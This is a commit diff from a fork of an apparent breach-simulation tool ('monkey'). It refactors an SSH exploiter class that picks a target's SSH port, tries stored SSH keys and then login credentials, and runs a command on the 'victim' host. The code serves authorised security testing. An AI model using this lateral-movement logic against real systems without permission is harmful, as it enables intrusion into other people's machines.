forked from p15670423/monkey
Agent: Extract method _exploit
This commit is contained in:
parent
b31eb885f0
commit
1cb88e029a
|
@ -177,34 +177,12 @@ class SSHExploiter(HostExploiter):
|
||||||
raise FailedExploitationError
|
raise FailedExploitationError
|
||||||
|
|
||||||
def _exploit_host(self) -> ExploiterResultData:
|
def _exploit_host(self) -> ExploiterResultData:
|
||||||
port = SSH_PORT
|
|
||||||
|
|
||||||
# if ssh banner found on different port, use that port.
|
|
||||||
for servkey, servdata in list(self.host.services.items()):
|
|
||||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
|
||||||
port = int(servkey.replace("tcp-", ""))
|
|
||||||
|
|
||||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
|
||||||
if not is_open:
|
|
||||||
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
|
||||||
self._publish_exploitation_event(
|
|
||||||
target=self.host.ip_addr,
|
|
||||||
exploitation_success=False,
|
|
||||||
error_message=self.exploit_result.error_message,
|
|
||||||
tags=(SSH_EXPLOITER_TAG,),
|
|
||||||
)
|
|
||||||
logger.info(self.exploit_result.error_message)
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
ssh = self.exploit_with_ssh_keys(port)
|
ssh = self._exploit()
|
||||||
except FailedExploitationError:
|
except FailedExploitationError as err:
|
||||||
try:
|
self.exploit_result.error_message = str(err)
|
||||||
ssh = self.exploit_with_login_creds(port)
|
logger.error(str(err))
|
||||||
except FailedExploitationError:
|
return self.exploit_result
|
||||||
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
|
||||||
logger.error(self.exploit_result.error_message)
|
|
||||||
return self.exploit_result
|
|
||||||
|
|
||||||
if self._is_interrupted():
|
if self._is_interrupted():
|
||||||
self._set_interrupted()
|
self._set_interrupted()
|
||||||
|
@ -298,6 +276,36 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.error(self.exploit_result.error_message)
|
logger.error(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
def _exploit(self) -> paramiko.SSHClient:
|
||||||
|
port = SSH_PORT
|
||||||
|
|
||||||
|
# if ssh banner found on different port, use that port.
|
||||||
|
for servkey, servdata in list(self.host.services.items()):
|
||||||
|
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||||
|
port = int(servkey.replace("tcp-", ""))
|
||||||
|
|
||||||
|
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||||
|
if not is_open:
|
||||||
|
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
||||||
|
self._publish_exploitation_event(
|
||||||
|
target=self.host.ip_addr,
|
||||||
|
exploitation_success=False,
|
||||||
|
error_message=self.exploit_result.error_message,
|
||||||
|
tags=(SSH_EXPLOITER_TAG,),
|
||||||
|
)
|
||||||
|
logger.info(self.exploit_result.error_message)
|
||||||
|
raise FailedExploitationError(self.exploit_result.error_message)
|
||||||
|
|
||||||
|
try:
|
||||||
|
ssh = self.exploit_with_ssh_keys(port)
|
||||||
|
except FailedExploitationError:
|
||||||
|
try:
|
||||||
|
ssh = self.exploit_with_login_creds(port)
|
||||||
|
except FailedExploitationError:
|
||||||
|
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
|
||||||
|
|
||||||
|
return ssh
|
||||||
|
|
||||||
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
|
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
|
||||||
try:
|
try:
|
||||||
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||||
|
|
Loading…
Reference in New Issue